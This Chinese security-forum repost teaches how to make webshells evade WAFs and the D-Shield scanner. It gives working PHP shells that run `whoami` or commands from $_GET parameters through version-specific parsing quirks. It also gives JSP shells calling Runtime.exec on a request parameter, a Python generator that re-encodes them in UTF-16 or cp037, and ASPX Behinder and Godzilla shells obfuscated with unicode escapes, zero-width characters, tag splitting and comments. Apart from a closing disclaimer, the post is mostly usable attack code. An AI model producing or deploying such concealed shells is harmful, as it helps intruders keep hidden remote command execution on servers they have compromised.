安全矩阵

 找回密码
 立即注册
搜索
查看: 2010|回复: 0

几种实战成功过的webshell免杀方式

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-7-1 20:16:29 | 显示全部楼层 |阅读模式

几种实战成功过的webshell免杀方式
原文链接:几种实战成功过的webshell免杀方式
程序员阿甘2022-06-30 22:00 发表于福建

0x01 php的免杀
传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

1、利用在高版本php语法不换行来执行命令
  1. <?=
  2. $a=<<< aa
  3. assasssasssasssasssasssasssasssasssasssasssassss
  4. aa;echo `whoami`
  5. ?>
复制代码

5.2 版本报错
编辑

5.3 版本报错
编辑

5.4 版本报错
编辑

7.3.4 成功执行命令
编辑

2、利用\特殊符号来引起报错
  1. <?php
  2. \echo `whoami`;?>
复制代码

5.3 执行命令失败
编辑

7.3 执行命令失败
编辑

5.2 成功执行
编辑

3、十六进制字符串在php7中不认为是数字,php5则依旧为数字,经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行。
  1. <?php
  2. $s=substr("aabbccsystem","0x6");
  3. $s(whoami)
  4. ?>
复制代码

7.3 命令执行失败
编辑

5.2 命令执行失败
编辑

5.3 命令执行成功
编辑

除此之外,还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。
当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。
例如:
7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧
  1. <?php
  2. $a = $_GET['function'] ?? 'whoami';
  3. $b = $_GET['cmd'] ?? 'whoami';
  4. $a(null.(null.$b));
复制代码

0x02 jsp的免杀
本人对java研究的不是非常深入,因此主要分享的还是平时收集的几个小tips,如果有没看过的师傅现在看到了也是极好的,java unicode绕过就不再多言。

0、小小Tips
jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式。

1、jspx CDATA特性
在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。

但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。

CDATA部分内容会被解析器忽略,此时ameter依旧会与getPar拼接成为getParameter。
  1. 格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
  2. 例如:String cmd = request.getPar<![CDATA[ameter]]>("shell");
复制代码

2、实体化编码
  1. if (cmd !=null){
  2.         Process child = Runtime.getRuntime().exec(cmd);
  3.         InputStream in = child.getInputStream();
复制代码

3、利用java支持其他编码格式来进行绕过
  1. #python2
  2. charset = "utf-8"
  3. data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
复制代码
  1. f16be = open('utf-16be.jsp','wb')
  2. f16be.write('<%@ page contentType="charset=utf-16be" %>')
  3. f16be.write(data.encode('utf-16be'))
复制代码
  1. f16le = open('utf-16le.jsp','wb')
  2. f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
  3. f16le.write(data.encode('utf-16le'))
复制代码
  1. fcp037 = open('cp037.jsp','wb')
  2. fcp037.write(data.encode('cp037'))
  3. fcp037.write('<%@ page contentType="charset=cp037"/>')
复制代码
编辑

可以看到对于D盾的免杀效果还是非常好的。
编辑
0x03 aspx的免杀
aspx免杀的方式相对于PHP和java的较少,这里列出5种方式来bypass进行免杀
  1. unicode编码
  2. 空字符串连接
  3. <%%>截断
  4. 头部替换
  5. 特殊符号@
  6. 注释
复制代码

我们以一个普通的冰蝎马作为示例
  1. ​<%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%
复制代码


这一步无需多言,一定是会被D盾所查杀的


1、unicode编码
例如eval他可以变为\u0065\u0076\u0061\u006c,经过我本地的测试,它不支持大U和多个0的增加
  1. ​<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
复制代码


2、空字符串连接
在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错
  1. \u200c
  2. \u200d
  3. \u200e
  4. \u200f
复制代码

3、使用<%%>语法
将整个字符串与函数利用<%%>进行分割
  1. ​<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
复制代码


4、头部免杀
之前有遇到过检测该字段的<%@ Page Language="C#" %>,这个是标识ASPX的一个字段,针对该字段进行免杀%@Language=CSHARP%,很久之前修改为这样就过了,同样的,可以修改为
  1. ​<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
复制代码


也可以将该字段放在后面,不一定要放前面等

5、使用符号
如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析。
  1. (Context.Session["payload"] == null)
  2. (@Context.@Session["payload"] == null)
复制代码
编辑


6、注释可以随意插入
如下所示为冰蝎部分代码,可以与<%%>结合使用效果会更好。
  1. ​<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
复制代码


文章来源:先知社区(Icepaper)
原文地址:https://xz.aliyun.com/t/10937
版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!
本公号发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 02:39 , Processed in 0.013539 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表